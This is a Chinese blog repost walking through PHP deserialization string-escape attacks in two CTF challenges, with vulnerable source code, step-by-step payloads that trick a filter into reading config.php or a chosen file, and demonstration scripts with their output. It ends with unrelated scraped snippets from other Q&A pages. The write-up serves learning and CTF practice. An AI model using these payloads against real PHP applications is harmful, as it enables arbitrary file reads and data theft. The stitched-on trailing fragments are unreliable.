- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章PHP反序列化字符串逃逸实例详解由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.
通过CTF比赛了解PHP反序列化,记录自己的学习.
任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞.
0CTF 2016piapiapia-----反序列化后长度递增 。
安询杯2019-easy_serialize_php-----反序列化后长度递减 。
由于是代码审计,直接访问www.zip发现备份的源码,有一下文件,flag就在config.php,因此读取即可 。
class.php //主要有mysql类(mysql基本操作)和user类(继承mysql实现功能点) config.php //环境配置 index.php //登陆 profile.php //查看自己上传的文件 register.php //注册 update.php //文件上传 。
源码分析 。
然后分析代码,我喜欢通过功能点来分析,既然有注册,登陆,那么自然来看看SQL咯,发现class.php中mysql类的filter过滤函数,过滤了增删查改,基本无望. 。
后面就看看文件上传,发现也对上传的文件参数进行了限制,但是发现对文件进行了序列化处理,那么肯定有反序列化,在profile.php中发现对上传的文件进行反序列化处理,并对文件$profile['photo']进行读取.我们再回到文件上传点,发现$profile['photo'] = 'upload/' . md5($file['name']);,但是我们无法获取加密后的文件值,后面有又看到文件上传是先序列化,再进过filter函数替换一些关键字,再反序列化,因此文件可能发生改变,因此可能有漏洞 。
payload构造 。
我们知道,PHP反序列化时以;作为分隔点,}做为结束标志,根据长度来判断读取多少字符,我们无法控制$profile['photo']但是可以控制nickname,而nickname又进行了长度限制,strlen函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的payload是,最开始的";}是为了闭合前面数组nickname的{,后面的;}是为了截断,让反序列化结束,不再读取后面的内容,当然这些都不能是字符哈. 。
1
|
";}s:5:"
photo
";s:10:"
config.php";}
|
这时构造了payload,那么就要来计算溢出数量了,我们构造的payload长度为34,那么就要增加34个长度,由于where变成hacker会增加一个长度,那么我们就需要34个where,最终payload 。
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} 。
原理解析 。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
function
filter(
$string
) {
$escape
=
array
(
'\''
,
'\\\\'
);
$escape
=
'/'
. implode(
'|'
,
$escape
) .
'/'
;
$string
= preg_replace(
$escape
,
'_'
,
$string
);
$safe
=
array
(
'select'
,
'insert'
,
'update'
,
'delete'
,
'where'
);
$safe
=
'/'
. implode(
'|'
,
$safe
) .
'/i'
;
return
preg_replace(
$safe
,
'hacker'
,
$string
);
}
$profile
=
array
(
'phone'
=>
'01234567890'
,
'email'
=>
'12345678@11.com'
,
'nickname'
=>
array
(
'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'
),
'photo'
=>
'upload/'
.md5(
'1.jpg'
)
);
print_r(serialize(
$profile
));
echo
PHP_EOL;
print_r(filter(serialize(
$profile
)));
echo
PHP_EOL;
var_dump(unserialize(filter(serialize(
$profile
))));
echo
PHP_EOL;
?>
|
输出结果展示,最开始不用进过filter函数反序列化时,nickname数组的第一个值没被截断是一个整体wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";},刚好204个长度,经过filter过滤函数后,where变成了hacker,反序列化的长度变化了,但是又只读取204的长度,则s:5:"photo";s:10:"config.php";}";}就多出来了,作为另一个反序列化的其中一个元素,而末尾的'}又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件. 。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
a:4:{s:5:
"phone"
;s:11:
"01234567890"
;s:5:
"email"
;s:15:
"12345678@11.com"
;s:8:
"nickname"
;a:1:{i:0;s:204:
"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"
;}s:5:
"photo"
;s:10:
"config.php"
;}
";}s:5:"
photo
";s:39:"
upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
a:4:{s:5:
"phone"
;s:11:
"01234567890"
;s:5:
"email"
;s:15:
"12345678@11.com"
;s:8:
"nickname"
;a:1:{i:0;s:204:
"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
;}s:5:
"photo"
;s:10:
"config.php"
;}
";}s:5:"
photo
";s:39:"
upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
array
(4) {
'phone'
=>
string(11)
"01234567890"
'email'
=>
string(15)
"12345678@11.com"
'nickname'
=>
array
(1) {
[0] =>
string(204)
"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
}
'photo'
=>
string(10)
"config.php"
}
|
源码 。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
<?php
$function
= @
$_GET
[
'f'
];
function
filter(
$img
){
$filter_arr
=
array
(
'php'
,
'flag'
,
'php5'
,
'php4'
,
'fl1g'
);
$filter
=
'/'
.implode(
'|'
,
$filter_arr
).
'/i'
;
return
preg_replace(
$filter
,
''
,
$img
);
}
if
(
$_SESSION
){
unset(
$_SESSION
);
}
$_SESSION
[
"user"
] =
'guest'
;
$_SESSION
[
'function'
] =
$function
;
extract(
$_POST
);
if
(!
$function
){
echo
'<a href="index.php?f=highlight_file" rel="external nofollow" >source_code</a>'
;
}
if
(!
$_GET
[
'img_path'
]){
$_SESSION
[
'img'
] =
base64_encode
(
'guest_img.png'
);
}
else
{
$_SESSION
[
'img'
] = sha1(
base64_encode
(
$_GET
[
'img_path'
]));
}
$serialize_info
= filter(serialize(
$_SESSION
));
if
(
$function
==
'highlight_file'
){
highlight_file(
'index.php'
);
}
else
if
(
$function
==
'phpinfo'
){
eval
(
'phpinfo();'
);
//maybe you can find something in here!
}
else
if
(
$function
==
'show_image'
){
$userinfo
= unserialize(
$serialize_info
);
echo
file_get_contents
(
base64_decode
(
$userinfo
[
'img'
]));
}
|
分析 。
源码不多,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读完全发现可能存在的漏洞点:extract变量覆盖,file_get_contents任意文件读取. 。
将变量$userinfo['img']逆推回去发现,是由参数img_path控制的,但是经过sha1加密,我们无法得知加密后内容,但结合前面的extract变量覆盖,我们可以自己POST构造. 。
构造了之后,会经过序列化filter函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值. 。
我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是img,user,function,而我们能控制的只有后面两个,我们需要构造的payload是这样的 。
f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";} 。
但是不经任何改变则是这样的 。
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} 。
我还是利用截断的思想不让其读取元素img的值,我们自己来构造这个值,只有两个参数,必须在function哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬的长度自己酌情参考,一般是到自己能控制的点就好)后面的长度,来构造自己的payload咯,我们就选user元素吧,len('";s:8:"function";s:10:"')的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用6个flag就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的img进行截断 a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} 截断只需}即可,并且不为读取的字符即可,因此添加f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";},这里我们新增了一个元素,因此吞噬后function元素消失了,随便补充好元素即可. 。
原理解析 。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php
function
filter(
$img
){
$filter_arr
=
array
(
'php'
,
'flag'
,
'php5'
,
'php4'
,
'fl1g'
);
$filter
=
'/'
.implode(
'|'
,
$filter_arr
).
'/i'
;
return
preg_replace(
$filter
,
''
,
$img
);
}
$arr
=
array
(
"user"
=>
"flagflagflagflagflagflag"
,
"function"
=>
'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}'
,
//"user"=>'guest',
//"function"=>'show_image',
"img"
=>sha1(
base64_encode
(
'guest_img.png'
))
);
print_r(serialize(
$arr
));
echo
PHP_EOL;
print_r(filter(serialize(
$arr
)));
echo
PHP_EOL;
print_r(unserialize(filter(serialize(
$arr
))));
?>
|
输出展示 。
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} Array ( [user] => ";s:8:"function";s:62:"2 [img] => ZDBnM19mMWFnLnBocA== [tql] => tql ) 。
到此这篇关于PHP反序列化字符串逃逸的文章就介绍到这了,更多相关PHP反序列化内容请搜索我以前的文章或继续浏览下面的相关文章希望大家以后多多支持我! 。
原文链接:https://www.cnblogs.com/Pan3a/p/14418641.html 。
最后此篇关于PHP反序列化字符串逃逸实例详解的文章就讲到这里了,如果你想了解更多关于PHP反序列化字符串逃逸实例详解的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我是 python 的新手。我试图找到我的文本的频率分布。这是代码, import nltk nltk.download() import os os.getcwd() text_file=open(
我对安卓 fragment 感到困惑。我知道内存 fragment 但无法理解什么是 android fragment 问题。虽然我发现很多定义,比如 Android fragmentation re
尝试对 WordPress 进行 dockerise 我发现了这个场景: 2个数据卷容器,一个用于数据库(bbdd),另一个用于wordpress文件(wordpress): sudo docker
这个问题已经有答案了: From the server is there a way to know that my page is being loaded in an Iframe (1 个回答)
我正在玩小型服务器,试图对运行在其上的服务进行docker化。为简化起见,假设我必须主要处理:Wordpress和另一项服务。 在Docker集线器上有许多用于Wordpress的图像,但是它们似乎都
我想要发生的是,当帐户成功创建后,提交的表单应该消失,并且应该出现一条消息(取决于注册的状态)。 如果成功,他们应该会看到一个简单的“谢谢。请检查您的电子邮件。” 如果不是,那么他们应该会看到一条适当
就是这样,我需要为客户添加一个唯一标识符。通过 strip 元数据。这就是我现在完全构建它的方式,但是我只有最后一部分告诉我用户购买了哪个包。 我试着看这里: Plans to stripe 代码在这
我有一个类将执行一些复杂的操作,涉及像这样的一些计算: public class ComplexAction { public void someAction(String parameter
这个问题已经有答案了: maven add a local classes directory to module's classpath (1 个回答) 已关闭10 年前。 我有一些不应更改的旧 E
我使用 fragment 已经有一段时间了,但我经常遇到一个让我烦恼的问题。 fragment 有时会相互吸引。现在,我设法为此隔离了一个用例,它是这样的: Add fragment A(也使用 ad
我的 html 中有一个 ol 列表,上面有行条纹。看起来行条纹是从数字后面开始的。有没有办法让行条纹从数字开始? 我已经包含了正在发生的事情的片段 h4:nth-child(even) {
如何仅使用 css 将附加图像 html 化? 如果用纯 css 做不到,那我怎么能至少用一个图像来做 最佳答案 这不是真正的问题,而是您希望我们为您编写代码。我建议您搜索“css breadcrum
以下是 Joshua 的 Effective Java 的摘录: If you do synchronize your class internally, you can use various te
在这里工作时,我们有一个框向业务合作伙伴提供 XML 提要。对我们的提要的请求是通过指定查询字符串参数和值来定制的。其中一些参数是必需的,但很多不是。 例如,我们要求所有请求都指定一个 GUID 来标
我有 3 个缓冲区,其中包含在 32 位处理器上运行的 R、G、B 位数据。 我需要按以下方式组合三个字节: R[0] = 0b r1r2r3r4r5r6r7r8 G[0] = 0b g1g2g3g4
我最近发现了关于如何使用 History.js、jQuery 和 ScrollTo 通过 HTML5 History API 对网站进行 Ajax 化的要点:https://github.com/br
我们有一个 Spring Boot 应用程序,由于集成需要,它变得越来越复杂——比如在你这样做之后发送一封电子邮件,或者在你之后广播一条 jms 消息等等。在寻找一些更高级别的抽象时,我遇到了 apa
我正在尝试首次实施Google Pay。我面临如何指定gateway和gatewayMarchantId的挑战。 我所拥有的是google console帐户,不知道在哪里可以找到此信息。 priva
昨天下午 3 点左右,我为两个想要从一个 Azure 帐户转移到另一个帐户的网站设置了 awverify 记录。到当天结束时,Azure 仍然不允许我添加域,所以我赌了一把,将域和 www 子域重新指
我正在使用terms facet在elasticsearch服务器中获取顶级terms。现在,我的标签"indian-government"不被视为一个标签。将其视为"indian" "governm
我是一名优秀的程序员,十分优秀!